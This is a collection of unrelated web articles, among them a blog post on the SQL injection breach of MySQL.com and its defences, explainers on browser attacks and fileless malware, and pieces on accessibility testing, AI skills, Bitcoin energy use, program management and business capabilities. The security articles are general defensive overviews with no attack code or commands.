Of greater relevance is the number of exposed databases. The hackers list 46 different databases, some of them trivial with names like “test” but others look more interesting; customer, partners, wordpress and phorum5.
The databases “customer” and “partner” are probably used to feed the CMS for the website itself, so they would not contain any confidential information. The “wordpress” database might reveal some interesting data. The database called “phorum5” is very interesting because this name is used as the password for two database users; “mysqlforge” and “sys”.
Amongst the leaked accounts is the user name and password of Robin Schumacher who is the director of Product Management at MySQL. The passwords were all encrypted, however many of them were easily cracked. For example, Robin’s password, which granted administrative rights consisted simply of four digits. This looks a lot like a credit card PIN or a voicemail password. This user was not alone – many other accounts had short or simple passwords, indicating that a lax password policy was in place on the site.
The MySQL database is an integral part of many platforms. It drives popular platforms like Joomla, Drupal and WordPress. It’s customers span from open source projects to financial and government institutions and the largest websites like Wikipedia and Facebook use it for their back-end. For MySQL, a security incident like this is a big embarrassment which can affect their credibility amongst customers.
Pinpointing the exact location of the bug is tricky due to a lack of detailed information, however SQL Injection attacks are almost always blamed on programming errors in the web application layer, and not inside the database technology itself.
Blocking all SQL Injection attacks can be challenging, however there are some safeguards that should always be in place. For example, all user input should always be escaped. Escaping is a very effective way of stopping SQL Injection attacks and is supported on many platforms. PHP supplies a function mysql_real_escape_string() which should be used for all SQL queries that could include injection code. Many programmers block SQL Injection attacks by using bind variables, or parametrized SQL statements. This technique avoids the use of string concatenation to build SQL statements and therefore effectively blocks any kind of injection escaping though.
A more secure password policy could have quite possibly minimized the damage by slowing down the hackers, or even preventing them from penetrating further. Passwords should have also been salted, making them much more resilient to brute force attacks. Salting involves adding some random bits to the end of a password when it is hashed, greatly reduces the odds of successfully guessing a password during a brute force and makes them less vulnerable to rainbow table attacks.
Lastly, regular scans for common vulnerabilities should be critical part of your security policy. Websites are constantly being updated with new code and applications in order to keep up with the increasing demands for change on the World Wide Web. Testing for security needs to be automated wherever possible. Testing should also be done with trusted tools that get updated frequently. Security is a cat and mouse game. The hackers are always finding new ways to escape and you need to keep yourself one step ahead in order to win the game.
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in your inbox each week. | <urn:uuid:3156c03f-a007-4ad2-9312-656fb855fd2f> | CC-MAIN-2022-40 | https://www.acunetix.com/blog/articles/mysql-com-victim-of-sql-injection/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337360.41/warc/CC-MAIN-20221002212623-20221003002623-00736.warc.gz | en | 0.922722 | 2,430 | 2.53125 | 3 |
How to Protect Users from Web-Browser Attacks?
- October 30, 2020
- Hiba Sulaiman
Software applications are being widely used by users for both personal and professional use. More specifically, web-applications have also become the heart of businesses, and the increasing security issues may cause them harm. Web-browsers threats or online threats are one of the most common and popular ways for cyber-criminals to cause damage. It is quite obvious how exposed web browsers can be due to the sensitive information they contain, such as credit card details, passwords, etc. These threats also include a range of malicious programs that are designed to damage victims’ systems. Attackers may use the exploit jack which allows them to route an attack to infect computers. These attacks can only be successful under the following circumstances:
- If they do not have placed any security checks.
- If they contain a vulnerable operating system or application. Sometimes, a user has not upgraded an application, or the software vendor still has to issue a new patch.
What exactly is a Web-based Attack?
Common Browser Attacks
Web attacks can be executed in a number of ways. Attackers often use social engineering to persuade users to take actions that generate an attack. Let’s have a look at some common browser attacks that prevail in the software industry:
Plug-ins and Extensions:
We know that most browsers support third-party plug-ins or extensions. These are from reputable vendors, however, they can include malicious code. In some circumstances, legit plug-ins may also contain some security flaws that can be targeted by attackers. By exploiting such vulnerabilities attackers can install ransomware, breach data, or perform other actions to affect a business negatively. A business can strengthen its security by limiting their plugin downloads. In case they need to download a plugin, it is crucial to check if it is powered by a legitimate company.
This type of attack simply requires a user to visit a malicious site or a legitimate one that has been compromised. It automatically downloads malicious content to an endpoint without any user interaction. These vulnerabilities can be in the operation systems, browsers, etc. that allow an attacked to gain control and eventually download the malicious code. This attack can also be in the form of malvertising, where fake ads containing malware are displayed on a website. Ad platforms so have screening mechanisms but the security loopholes allow attackers to find their way out. Enterprises can prevent these attacks by encouraging their employees to keep their software up to date. It allows them to download any pending security patches or upgrades.
Man-in-the-Browser (MITB) Attacks:
In this type of attack, malicious attackers use a Trojan to infect the victim’s browser and modify the information as it is exchanged between the browser interface and the internet. Browsing and transactions take place normally, but the malware exists between the web app and the user’s browser, capturing and sending sensitive information to the attacker. It can modify the webpage appearance, and inject form fields to capture additional information to gain unauthorized access to sensitive data. This type of attack allows attackers to steal personal information such as login credentials, account details, etc. Since hackers can easily evade outdated methods like domain reputation, firms use the latest detection technology to detect malicious sites in real-time.
Typically, attackers install adware along with a free program, or it also comes with a drive-by-download. Adware is much more than just an attack. It can cause great damage by collecting user information, hijacking the browser, and redirecting it to unknown websites, which may or may not look like malicious download links. Additionally, attackers are also incorporating adware with more sophisticated techniques to penetrate operating systems and attack the security defenses.
This attack is also known as clickjacking that is designed to trick a user into clicking on a button or link that enables a malicious action. The attacker uses hidden malicious code to disguise the real action whereas the user thinks they are clicking on something safe.
Prevent Web-Based Attacks with Penetration Testing
A pen testing company helps businesses protect their browsers by identifying vulnerabilities and adding a memory defense layer that prevents the attack from ever compromising a business’s sensitive information. This can stop browser-based threats even before they can penetrate a system or gain access to a business’ network, frees app installer from adware, function seamlessly across various IT environments, and without any alteration to the app interface. | <urn:uuid:1c0847d8-3481-421a-ba35-0ab766e5878d> | CC-MAIN-2022-40 | https://www.kualitatem.com/blog/how-to-protect-users-from-web-browser-attacks/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337480.10/warc/CC-MAIN-20221004054641-20221004084641-00736.warc.gz | en | 0.937397 | 1,180 | 2.6875 | 3 |
Software developers know the importance of software performance testing, compatibility testing, and security testing, but too often forget about another essential type of testing: software accessibility testing. After all, the need for user accessibility may not be initially apparent. To many, the “default” software user is someone who can read your software’s content, listen to a video clip, or input relevant user information. Unfortunately, this assumption leaves out a massive number of users, specifically those with disabilities.
What Does it Mean for Software to Be Accessible?
Software developed and designed specifically to make it useable to people with disabilities is considered accessible software. Disabilities addressed with software accessibility testing most often include color blindness and other visual impairments. Reference the full list of website accessibility requirements in W3C’s Web Content Accessibility Guidelines.
Why is Software Accessibility Important?
Able-bodied visitors are not your only users. Users also include those who are hard of hearing, vision impaired, or suffer from physical or mental conditions. Ignoring their needs (i.e. not providing an accessible website) means you’re limiting your customer base. Also, bear in mind that in some places, it is illegal to lack software accessibility.
It’s always a good idea to ensure website accessibility even if not required by law. If making sure that all users have easy access to your software isn’t enough of an incentive, you are also making your software more convenient for those without disabilities. Think about it: how annoying would it be to try and watch TV while on the gym’s treadmill if the program didn’t have closed captioning? How useful is it to dictate a text or email to your phone easily? Have you ever learned the weather report by asking Alexa or Google Assistant? if “yes” then you’ve benefited from technology created to make software and content more accessible.
How do I Make Sure My Software is Accessible?
Often, making your software accessible is easier than it may initially seem. There are several software changes that can help make input, presentation, interaction, and perception easier. Simple design adjustments like the font or size of your text, including alt-text and closed captioning on images or video, and making sure the transcripts to any audio content is available are all quick changes that can help you keep your software more accessible.
For more information on how to evaluate your website or software for accessibility, use resources like the World Wide Web Consortium or uiAccess, include feedback from disabled users in your development and testing process or ask the software accessibility testing engineers here at iBeta to help evaluate your software accessibility. Contact us today. | <urn:uuid:e53bcd59-f94c-48e1-8b96-f0615333b554> | CC-MAIN-2022-40 | https://www.ibeta.com/what-is-software-accessibility-testing/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337631.84/warc/CC-MAIN-20221005140739-20221005170739-00736.warc.gz | en | 0.917792 | 550 | 3.03125 | 3 |
Artificial Intelligence (AI) has arguably become a household term in modern enterprises. By now, most companies have embraced some type of business initiative that includes AI in their digital transformation.
Artificial Intelligence is a broad term, but much current research and development focuses on machine learning (ML), a subdiscipline whereby machines learn from data as opposed to being explicitly programmed.
AI skills to watch
With AI and ML targeting a broad spectrum of enterprise users, IT professionals must develop new skills to succeed in this emerging space. Here are four examples.
1. Framing business problems in the context of data
An understanding of the business and its most pressing problems is a transcendent competency for any IT professional. However, AI-driven projects require solutions to be framed and rationalized in the context of data that is directly or indirectly available to the enterprise.
[ Want best practices for AI workloads? Get the eBook: Top considerations for building a production-ready AI/ML environment. ]
The essential question is whether such data has the potential to solve the business problem at hand. While the answer is not always immediately obvious, it begins with a hypothesis stemming from prior analysis or perhaps simply based on intuition. For example, a business experiencing high customer churn might hypothesize that recent changes in commercial activity could predict future attrition.
2. Data engineering
Most enterprises have an abundance of data, but leveraging it for AI/ML projects can be challenging. Preparing data for analysis and machine learning is usually the long pole in the tent because most organizations don’t understand the investment required during this phase.
Increasingly, enterprises are realizing the importance of building systems and processes that automate the acquisition, transformation, and delivery of data to organizations involved in analytics and AI/ML projects. These enterprises understand that data should be a first-class asset on par with code and that the core principles of software engineering should be applied in a similar fashion.
While all IT professionals should have basic data transformation skills, we will likely see the emergence of centralized data engineering teams whose primary purpose is to develop and deploy automated data pipelines that deliver high-quality data at scale.
[ Read also: 6 misconceptions about AIOps, explained. ]
3. Toolchains and languages for machine learning
The tools and infrastructure for machine learning have evolved radically over the past decade, in both open source and commercial offerings. Access to cutting-edge technologies once reserved for only the most elite researchers and practitioners has been democratized, with fully integrated toolchains and services from all major cloud providers.
Various programming languages are used for machine learning, but Python is the most common. Much of its success is due to an active and vibrant community as well as the availability of libraries that implement virtually all the popular algorithms.
The differentiation of skills between data scientists and software engineers has blurred in recent years due to advances and accessibility in tooling. A project that might once have required a data scientist may now be done by IT professionals.
4. Evaluating model performance
The technology for model selection and training, particularly with integrated toolchains from popular cloud providers, is evolving to a point where certain laborious decisions often made by data scientists are now being done automatically in software. A clear example is the selection of a model that yields the best performance while also generalizing well.
[ Check out our primer on 10 key artificial intelligence terms for IT and business leaders: Cheat sheet: AI glossary. ]
Even as these tools become more advanced, IT professionals should have a general understanding of machine learning concepts – particularly in evaluating model performance and correlating feature selection with predictive quality.
Leveraging artificial intelligence and machine learning to improve business outcomes is quickly becoming table stakes for modern enterprises as they navigate digital transformation initiatives. Embracing these evolving technologies requires IT organizations to develop new skills aimed at using data to solve business problems. To better enable organizations engaged in AI projects, IT teams should also implement new systems and processes that automate the acquisition, transformation, and delivery of data.
A variety of resources are available online to help IT professionals gain the AI and ML skills they need. Coursera.org offers an excellent introductory course that teaches the fundamentals of machine learning. Additionally, all major cloud providers, including AWS, Azure, and Google, offer training for their AI services and integrated toolchains. While many of these online courses are free, some – such as certification programs – involve a fee.
[ Culture change is the hardest part of digital transformation. Get the digital transformation eBook: Teaching an elephant to dance. ]
What to read next
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Keep up with the latest advice and insights from CIOs and IT leaders. | <urn:uuid:93914238-c272-4620-b8e7-690dec825c83> | CC-MAIN-2022-40 | https://enterprisersproject.com/article/2021/5/artificial-intelligence-ai-4-must-have-skills | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334514.38/warc/CC-MAIN-20220925035541-20220925065541-00136.warc.gz | en | 0.93576 | 957 | 2.578125 | 3 |
The price of the cryptocurrency fell after Tesla CEO Elon Musk tweeted that Bitcoin mining uses a lot of energy and is bad for the environment.
It is a known truth that Bitcoins are traded nonstop, around the clock, throughout the year on cryptocurrency exchanges. Concerns regarding Bitcoin mining’s harmful effects on the environment and how it uses fossil fuels have been voiced by environmentalists and activists.
What Is Bitcoin Mining?
Computers are employed in bitcoin mining, a process that creates new currencies by using complicated mathematical equations or puzzles. Cryptocurrencies require mining in order to operate because they are built on a decentralized network. For users using the network, it typically takes roughly 10 minutes for the Bitcoin mining software to process a block and solve the difficult program.
Can It Be Harmful To The Environment?
Huge quantities of electricity are used by miners as they mine blocks and validate transactions using powerful computers. Additionally, as payment for their work, miners earn newly created Bitcoins and transaction processing fees.
Bitcoin Mining And The Use Of Fossil Fuels
The use of fossil fuels is crucial to the cryptocurrency industry. Electricity produced by fossil fuels is frequently used for cryptocurrency mining. More people join the Bitcoin network as a result of the rising price of bitcoin and the corresponding spike in energy demand as miners mine more coins. According to a University of Cambridge analysis, bitcoins use more than 120 Terawatt Hours (Twh) annually.
Who Is The Leader In Terms Of Energy Consumption?
According to a survey by Galaxy Digital and verified by the International Energy Agency (IEA), the yearly electricity usage of the Bitcoin network was 113.89 terawatts per hour (TWh) per year, compared to 263.72 TWh/yr for banking systems and 240.61 TWh/yr for gold mining. In actuality, running conventional banking systems or even gold mining requires twice as much energy.
If you are interested in more articles like this, here’s one about how you can burn your crypto. | <urn:uuid:33f38604-6b88-4b77-971b-e199fca519f1> | CC-MAIN-2022-40 | https://www.akibia.com/how-are-fossil-fuels-used-to-mine-bitcoin/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334514.38/warc/CC-MAIN-20220925035541-20220925065541-00136.warc.gz | en | 0.924579 | 407 | 2.96875 | 3 |
From Project to Program Management : Differences and Considerations
Project Management is an organized approach to managing projects within the allotted resources to accomplish the planned objectives. To scale up their careers within or outside the organizations, Project Managers aim to add a skill set, get certifications, and aspire to take the next step.
One of the most immediate approaches is to strive for the transformation from being a project manager to program manager by reflecting upon:
- What steps do we need to progress from project to program management?
- What does the program management expect from them?
- What problems /issues they may encounter in the hierarchy?
- Why and how it is different and difficult?
Let us recap the general understanding of projects and programs, and throw some light on how different they are?
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Let us take a look at how the Project Management Book of Knowledge ( PMBOK ) defines the two terms.
Project Management -
“Project Management is the application of knowledge, skills, tools, and techniques to project activities to meet the project requirements.”
Program Management -
“Program management focuses on interdependencies within projects and between projects and the program level to determine the optimal approach for managing them. As program management regardless of its domain, contains several projects, positions/roles of project management, so will also be part of program management.”
What does a Program Manager do?
The program manager, therefore, is responsible for delivering the output/result product of the program, which is ultimately managing the portfolio of projects and programs.
They must coordinate with the teams or multiple project managers who are involved in managing their projects. The program manager must possess knowledge on the organizations' monetary strategies as the performance plays a decisive role in organizations’ financial health.
The key responsibilities of program managers include but not limited to:
- Deliver the organization’s vision
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“Program management is the process of managing several related projects, often intending to improve an organization's Performance”. - Wikipedia
Few of the other roles and responsibilities of a program manager as follows:
- Managing the program plan through the life cycle of the program assigned.
- Defining the processes, procedures, reporting structure, program controls to manage and deliver the program.
- Planning the overall program and monitoring its progress across all the projects and ensuring that all the projects are progressing on time managing the program budget, which is the consolidated budget of all the assigned projects and ensuring none of the projects exceed the allocated budget.
- Assessing all the risks associated with the program as a whole and take corrective measures to control and mitigate them.
- Coordinating With the interdependencies between the various projects and programs.
- Manage and use the resources efficiently across different projects/programs.
Project Manager versus Program Manager:
|Program Manager||Project Manager|
|Plan program level activities||Plan project activities and their dependencies|
|Control all stages of the program||Control the project and manage project constraints|
|Manage risks and issues at the program level and delegate to concerned projects||Manage project risks and issues and report to program manager if necessary|
|Frame policies and procedures for the projects||Runs projects as per the set-in policies and procedures|
|Resolve resource conflicts||Use assigned resources|
|Outline program standards||Product/service delivery as per the agreed standards|
Project Management versus Program Management:
|Program Management||Project Management|
|Depend on an organization's' governance||Run-on project's governance|
|Ongoing-longer duration||Has a definite start and end|
|Has a direct impact on organizations' monetary performance||Less impact on organizations' balance sheet|
|Driven by organizations' strategy and influenced by market trends||Run-on change management|
|Encapsulates the scope of its program components||Has defined objectives and scope|
What are the challenges involved?
Transitioning from project to program management is not an easy process and takes time. This has many limitations, such as:
- Within the same organization, existing project managers must elevate themselves to this new role and must establish their recognition before being assigned to a program.
- If hired from outside the organization, he/she would be a greater risk factor, since his/her managerial/leadership skills are not proven. Certainly, it is expensive to trust a new manager if the program proved to be unsuccessful, as it would make a huge impact on the organizations’ business.
- Adapting program management techniques and building that image with the organization is a long process for any individual unless his/her track record is consistently good. This would pave a way for his/her promotion within the existing organization or outside of it.
- Ensuring the individual’s skill sets and competencies align with organizations’ business strategies, is again a test-driven process for the management and consumes more time before entrusting a program to any candidate.
Making the transition from being a Project Manager to a Program Manager:
A Project Manager assigned to deliver the project against a set of pre-defined objectives and timelines, to move up in the hierarchy should look beyond these project management parameters. A change in mindset is required along with a strategic and business approach to move upwards in the organization.
Program managers adopt a strategic approach instead of a tactical approach. This change in mindset helps transition towards adopting new technologies, gather market trends, and understand the need for the role change. Program management is all about understanding the organizations’ business goals and executing those goals.
PMI offers 9 guiding principles that help in transitioning from project to program management. These are briefly explained below:
- Think business instead of delivery: The program manager shifts their focus from project delivery to business delivery to understand the expectations of the customer and market changes while keeping a track of how the organization is reacting to market trends.
- Think dependencies instead of schedule: As we have multiple projects under one program, the performance/delivery of one project might be depending on other projects. Hence, the program manager shifts his/her focus on how different projects are interlinked and manage their dependencies rather than how to schedule and deliver them.
- Think strategy instead of scope: Program management is all about strategic execution. One of the key characteristics should be to understand the organization’s business strategy instead of the project’s scope.
- Think conflict instead of crisis: Conflicts are part of any projects/programs. If not managed constructively, they can have a great impact on the outcome.
- Think governance instead of teams: The governance policy differs from organization to organization. It is very difficult for the program manager to keep the stakeholders engaged unless he/she learns about the organizations’ governing policies.
- Think transition instead of transfer: The core function of program management is to transform the project into the business. Hence, the program manager must see organizations’ initiatives as a business rather than a project, which is delivered and transferred to operations or maintenance.
- Think challenge instead of salary: Though the monetary benefits (compensation) may not be comparable to the challenges, the program manager must consider every assigned program as an opportunity to prove their potential. The focus should be on overcoming the challenges and think about the benefits of being a program manager.
- Think relaxation instead of stress: Positive attitude is the key to program managers’ success and so the program.
- Think program triple constraints: The project focuses on the scope, time, and cost as triple constraints and manages to deliver the project within them. But as a program manager, his/her role is to think about the benefit, customer, and cost as programs’ triple constraints.
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Time and effort allocation:
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The world of project management is changing now. The individuals who aspire to scale themselves to program managers need to possess a wide range of skills. They must leave behind the delivery concept and start embracing business concepts.
Project managers are required to establish a healthy relationship with their peers to scale up their careers. They must start understanding customer delivery rather than focusing on delivering a project alone. Instead of a tactical approach, it is important to adopt a strategic approach before being picked for higher responsibility. Hence, organizations should measure their key deliverables constantly to ensure their credibility to take up the new challenge. | <urn:uuid:d936db2a-e813-403e-91c4-533eac8c5511> | CC-MAIN-2022-40 | https://www.greycampus.com/blog/project-management/from-project-to-program-management-differences-and-considerations | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334514.38/warc/CC-MAIN-20220925035541-20220925065541-00136.warc.gz | en | 0.924503 | 1,802 | 2.671875 | 3 |
In the first instalment in this series, we gave an outline of the notion of ‘business capability’ and why it is so useful in strategy execution. But what exactly is this somewhat elusive concept and how do you define capabilities?
As mentioned in that previous blog post, you need to understand and design what an enterprise can and must do to fulfil its mission, before diving into the organization structure, business processes, IT systems, and other implementation aspects. This provides the ‘big picture’ needed to deal with the challenges above: First, get away from organizational politics and technical limitations and look at the essence of what is needed.
We said that business capabilities are used to describe the abilities of an enterprise, i.e., what it is able to do, independent from implementation. What it can do of course includes what it does today, but it also describes its potential. This is what makes it especially relevant in strategic discussions.
In enterprise and business architecture, the concept was introduced mainly from the defense domain. To quote from the NATO Architecture Framework: “A capability is the ability to achieve a desired effect under specified standards and conditions. […] In NAF, the term is reserved for the specification of an ability to achieve an outcome. In that sense, it is dispositional – i.e. resources may possess a Capability even if they have never manifested that capability.”
Importantly, the concept of capability is cross-functional and cross-organizational. Capabilities are not tied to specific departments, functions, or roles in the organization. Rather, what gives you a capability is the combination of various people, processes, technology, information, and other resources, from across the entire enterprise.
In identifying capabilities, you want to make sure that they are not bound to any specific implementation. For instance, ask yourself if a business capability would change if you would split up a department or implement a new system involved in delivering that capability. If it would, then probably you didn’t identify a true capability.
This abstraction from implementation is also what makes the concept sometimes a bit difficult to understand and communicate. Most people are used to reason in terms of organization structure, span of control, systems they own, business processes they manage or execute, et cetera. For instance, showing a capability map to managers often leads them to search out ‘their’ bit, where they think they are responsible because it resembles e.g. their department. This is of course a misconception, but it is not always easy to overcome this instinctive reaction.
Figure 1. Simplified capability map of an insurance company (inspired by the Panorama 360 reference model)
Most important in defining business capabilities is therefore that they are named and defined in business terms by subject matter experts (often called ‘the business’ by IT people, but that is a dangerous catch-all term that we’d rather avoid). For any capability, it should be crystal clear what it does for the business. All too often, we see capability maps that were dreamed up by IT architects without sufficient business input, using technical terms, system-level functionalities rather than true business capabilities, focused on producing some data rather than delivering real business outcomes, et cetera.
It helps to use a naming scheme that clearly differentiates capabilities from other concepts, for instance business processes and value streams. Where a process or value stream defines the ‘business in motion’, sequencing activities to create a dynamic perspective on business behavior, capabilities define the potential behavior of an enterprise, the ‘business at rest’, its abilities. Processes and value streams are often named with a verb-noun scheme, e.g. ‘Adjudicate Insurance Claim’. Verbs are therefore best avoided in capability names, to avoid confusion and stress the ‘business at rest’ perspective. Such a naming scheme also helps in identifying capabilities. If you are tempted to name a capability like a business process, are you sure you really found a capability?
One approach, advocated by the BIZBOK® Guide, is to identify every capability based on a specific business object and name it with a ‘business object – action’ naming convention. According to the BIZBOK, this action must not be expressed with a verb; even gerunds like Engineering, Marketing, and Accounting are explicitly forbidden: “Mapping teams should avoid using gerunds as the basis for capability names as they are not business objects and are only nouns in the nominal sense”. But their own examples don’t even adhere to this commandment… Moreover, this approach shows a focus on information/data rather than on the true abilities of the business.
Rather than only allowing business objects as the basis for decomposing and discriminating between capabilities, we favor using the classical notions of coupling and cohesion. Pick those business-relevant criteria that create the highest internal cohesion and the lowest external coupling of capabilities. This gives you self-contained capabilities that have a relatively independent existence and can function as true business components. Business objects are certainly one way of clustering the abilities of an enterprise but are by no means the only criterion. Markets, regions, regulatory compliance regimes, pace of change, social relations, and various other aspects can factor into the identification and decomposition of capabilities.
Of course, you want to stay away from implementation detail and stay focused on the essence, but this is a gradual distinction, not something absolute. As architects, we tend to be good at generalizing and abstracting, but we need to be careful. No enterprise exists without real people performing concrete activities in the context of a social fabric. If you abstract too much from that, you will surely lose your business audience.
So don’t be distracted by all too rigid or abstract identification or naming schemes. By far the most important is that the name of a capability is widely recognized, and its definition is understood by all stakeholders involved as something the enterprise is able to do. Consistency and abstraction from implementation detail are important and useful, but not if they come at the cost of business understanding.
These general guidelines will help you identify your business capabilities:
In future instalments in this series, we will go into more detail on capability-based planning, analysis, relationships with other business architecture concepts, and more. Meanwhile, our whitepaper may provide you with some more insights in our thinking on the subject. | <urn:uuid:351d48b5-f20d-4bb4-a2e6-d7a8d509ad2a> | CC-MAIN-2022-40 | https://bizzdesign.com/blog/what-are-business-capabilities/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335469.40/warc/CC-MAIN-20220930113830-20220930143830-00136.warc.gz | en | 0.946769 | 1,324 | 2.578125 | 3 |
Embedded systems are special purpose systems that cover a wide range of applications, from home electronics and industrial control systems, to medical devices and avionics. The remote management & telemetry features of the so called "Internet of Things" family of embedded devices, have made them quite popular and their placement is almost ubiquitous. From a security standpoint, embedded software is not that different to software found in other domains. However, the criticality of its operation, its exposure on public networks, but also its security limitations make it a very attractive target for attackers. This article presents an overview of the building blocks of today's embedded software, analyses inherent weaknesses in the way this software is built and deployed, and highlights recent developments in the handling of the relevant risk. | <urn:uuid:11cf27aa-a685-4707-9649-a3ac7dc057f2> | CC-MAIN-2022-40 | https://census-labs.com/news/category/blog/?page=1 | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030336921.76/warc/CC-MAIN-20221001195125-20221001225125-00136.warc.gz | en | 0.959805 | 150 | 2.53125 | 3 |
Open Source software has come a long way from being the underdog in a market dominated by proprietary platforms. With an ever-growing number of organisations coming to recognise the value open source provides, it’s not just gaining momentum as a serious competitor to proprietary software – in many respects it’s eclipsing it. The US government is putting its weight behind open source software and its own open source projects like Data.gov and Digital Government. Last year, Apple released its Swift programming language into the public domain. Even Microsoft – historically one of the most vocally anti-open source companies – seems to have done a 180° turn on their stance towards it.
But, while open source software may be winning over the hearts and minds of major players in the IT world, there’s still a lot of disagreement as to how it measures up to proprietary software. Often, this comes down to the question of security in open source software. In this blog, we’ll try to separate fact from fiction.
The argument for and against open source security
Some of the benefits of open source software can’t be contested: lower cost of procurement, no licensing fees, no vendor lock-in, easier integration with other software and more potential for customisation. Concerns about security, however, are often based on a misunderstanding around the way open source software actually works. “Many people view open source software as something that can be changed or edited by anybody, much like a Wikipedia entry,” says Asavin Wattanajantra in an article for SC Magazine. “That generally isn’t the case, however, as open source communities usually have mechanisms in place to prevent such random tinkering – for example, submitting new code to a peer review before it is entered into a particular project.”
Many hands make light work, or too many cooks spoil the broth?
Open source software projects typically involve a massive pool of developers, often from all around the world. Naysayers often claim that this is a shortcoming of open source software – if anyone has access to the source code, they can logically edit it for nefarious means if they are so inclined.
Additionally, there is a widespread assumption that open source code is written by amateur developers, and that as a result, open source code is ‘bad’. However, this is rarely the case. Don Smith, Director of Technology at Dell Secureworks, explains: “The vast majority of FOSS is written by software professionals, very often employed by a company that is making money from that same software, either through subscriptions, support or professional services. It is obviously in the interest of these businesses to ensure their software works well and their coding is of high quality.” The opposite end of the argument is that the large number of developers working on an open source project make it more secure, by virtue of the number of people checking the code. Ultimately, the distinction comes down to opinion and perspective.
So, is open source more or less secure than proprietary software?
While there are undoubtedly differences between proprietary and open source software, describing one as ‘more secure’ than the other is problematic. Some proprietary software has massive security flaws, and some open source software provides better security than their proprietary counterparts. In the words of Dr Ian Levy, “On average, good open source is about as good as good proprietary, and
[bad] about as bad as bad proprietary.” Describing software as ‘secure’ is difficult for many reasons – organisations should instead think about the security features they need, and then evaluate whether or not the software in question is capable of delivering that.
So what does that leave us with? Simply, some software is ‘good’ while other software is ‘bad’. Whether the software in question is open source or proprietary becomes incidental – the only question that really matters is whether or not it will serve the best interests of your organisation.
IRIS has over a decade’s experience in the Southern African telecoms and ISP markets. To find out more about our lightweight yet uniquely scalable Network Monitoring Software, download our free Network Manager’s Guide to a Stable and Highly Available Network.
Image credit: www.noobslab.com | <urn:uuid:2c4b4c79-ff8f-4d90-8b39-d753db84e8fa> | CC-MAIN-2022-40 | https://irisns.com/2016/03/02/fact-versus-fiction-is-open-source-software-less-secure/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337971.74/warc/CC-MAIN-20221007045521-20221007075521-00136.warc.gz | en | 0.957329 | 879 | 2.515625 | 3 |
What is Fileless Malware?
Fileless Malware Definition
What is fileless malware? Fileless malware is malicious code that works directly within a computer’s memory instead of the hard drive. It uses legitimate, otherwise benevolent programs to compromise your computer instead of malicious files. It is “fileless” in that when your machine gets infected, no files are downloaded to your hard drive.
This makes fileless malware analysis somewhat more difficult than detecting and destroying viruses and other forms of malware that get installed directly on your hard drive. Because fileless malware attacks require no malicious files, traditional antivirus tools that perform hardware scans to locate threats may miss them altogether.
This does not mean fileless malware detection is impossible, however. Fileless malware includes code that does several things regular viruses can do, including data exfiltration. These kinds of malicious activities can trigger a scan. Then security personnel can start fileless malware mitigation steps, which often involve scanning the command lines of trusted applications, such as Microsoft Windows PowerShell, which is used to automate tasks. In a sense, even though fileless malware can run, it cannot hide.
How Does Fileless Malware Work?
Fileless malware works by going straight into your computer’s memory. This means the malicious code never enters your hard drive. How it gets there is very similar to how other malicious code gets into your system.
For instance, a user gets tricked into clicking on a link or an attachment that a hacker puts inside a phishing email. The attacker may use social engineering to manipulate the emotions of the victim and get them to click on the attachment or link. The malware is then introduced into your system and begins to move from one device to another.
Attackers use fileless malware to gain access to data they can either steal or use to sabotage the operations of an organization. Fileless malware hides by using applications administrators would usually trust, such as Windows script programs or PowerShell. Often, these are among the applications an organization whitelists. Fileless malware is not a rogue program sitting in a file all its own on your hard drive—instead, it corrupts a trusted program, making it more difficult to detect.
Fileless malware’s strongest “attribute,” at least from the perspective of attackers, is they do not have to try to evade antivirus programs to get it on your computer. This is because fileless malware alters the command lines, which are lines of code that tell programs what to do. A regular antivirus program may not be able to identify the threat because there is no anomalous file associated with it.
Types of Fileless Malware Attacks
There are a few different kinds of fileless malware attacks, but they tend to fall under two primary categories: memory code injection and Windows registry manipulation.
Memory Code Injection
With memory code injection, the malicious code that powers fileless malware gets hidden inside the memory of otherwise innocent applications. Often, the programs used for this kind of attack are essential to important processes. Within these authorized processes, the malware executes code.
In many cases, these kinds of attacks use vulnerabilities in programs, such as Flash and Java, as well as browsers. It is also common for a hacker to use a phishing campaign to penetrate the victim’s system. Once the malware has gained access, it executes code inside the target computer's memory, not from within an app designed by the attacker.
Windows Registry Manipulation
With Windows registry manipulation, the attacker uses a malicious link or file that takes advantage of a trusted Windows process. After a user clicks on the link, for example, the Windows process is then used to write and execute fileless code into the registry.
Similar to memory code injection malware, by manipulating the registry instead of working through a malicious application, this kind of fileless malware can hide from traditional detection tools, such as antivirus software.
Top 5 Fileless Malware Attacks
Fileless malware has been gaining in popularity—primarily because it can circumvent traditional antivirus technology, making it easier for attackers to spread it, especially because regular cybersecurity mechanisms may never see the attack coming.
The top five fileless malware attacks include:
- Number of the Beast
- The Dark Avenger
- Duqu 2.0
How To Detect Fileless Malware Attacks
When figuring out how to prevent fileless malware attacks, the first thing to keep in mind is that regular antivirus software may not work. In addition, methods such as sandboxing and whitelisting will also be ineffective, primarily because there is no typical file signature that these kinds of programs can detect and mitigate.
Here are some ways you can identify a fileless malware attack:
Use Indicators of Attack Instead of Indicators of Compromise
Looking for indicators of attack (IOAs) is an effective way to detect fileless malware. That is because you identify the activity associated with the malware as opposed to a specific file that has been introduced to your computer. This is different from indicators of compromise (IOCs) analysis because you are not looking for suspicious files—rather, you are checking your system for abnormal activity.
Some examples of suspicious activity include abnormal code execution and lateral movements. Lateral movements involve code moving from one component to another after it has penetrated your network.
By studying these elements of an attack, you are focusing on the behavior of the malware instead of file signatures that could indicate the presence of a traditional virus, for example.
Use Managed Threat Hunting
Managed threat hunting takes the grunt work of finding and addressing threats off your shoulders. Instead of manually going through your system to find fileless malware, you hire an experienced company that can locate and mitigate it for you. You can also use a managed threat hunting service to continuously monitor your system. In this way, as soon as suspicious activity happens, they can flag and address it.
How To Prevent Fileless Malware Attacks
